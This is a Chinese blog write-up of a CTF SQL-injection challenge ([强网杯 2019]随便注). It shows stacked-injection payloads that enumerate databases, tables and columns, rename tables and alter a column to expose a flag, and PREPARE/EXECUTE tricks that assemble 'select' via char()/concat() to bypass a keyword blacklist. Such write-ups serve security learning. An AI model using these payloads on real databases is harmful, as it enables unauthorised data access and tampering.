一天一道CTF 第三天(堆叠注入改表名)

[强网杯 2019]随便注

今天的也是SQL注入,输入1'报错显示说明闭合符号是'
在这里插入图片描述
再随便试试-1’ union select 1,2,3 --+,回显return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
preg_match本来的作用是一个匹配函数,也就是在我们输入的语句中查找是否存在select等关键词,i表示大小写不敏感,无法用大小写混搭来绕过。
在网上查了一下可以用堆叠注入,1';show databases;#查看数据库名
在这里插入图片描述
1';show tables;#查看表名,发现有两个表word和1919810931114514
在这里插入图片描述

1';show columns from word;#发现里面有一个int和一个varchar,应该就是我们之前正常查询时查到的表
在这里插入图片描述
查1919810931114514表时要加反单引号,看结果flag就在这个表里

1';show columns from `1919810931114514`;#

在这里插入图片描述
要查看这个flag的内容就要用到骚操作了,我也是网上看的大神的解法(这是一般人能想出来的?)
因为我们可以查询word表里的数据,就想办法把1919810931114514表的名字改成word,把原word表换一个名,再把列名flag改成id或者data,以下是payload。最后再1' or '1'='1显示全部结果即可。

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#

也可以使用预定义处理语句绕过select过滤,以下三个payload都可以得到flag。都是给hacker先赋值一个语句,然后再执行hacker。char() 函数将ASCII码转换为’select’,concat()函数再将它拼接成字符串。今天头有点晕就不具体写了。

1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

参考网站:https://www.cnblogs.com/wjw-zm/p/12359735.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值